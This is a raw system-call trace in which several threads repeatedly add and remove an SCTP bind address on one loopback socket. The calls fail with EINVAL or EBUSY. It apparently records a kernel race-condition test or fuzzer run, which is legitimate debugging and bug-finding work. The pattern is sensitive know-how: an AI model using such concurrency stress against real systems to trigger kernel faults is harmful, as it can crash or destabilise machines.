[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
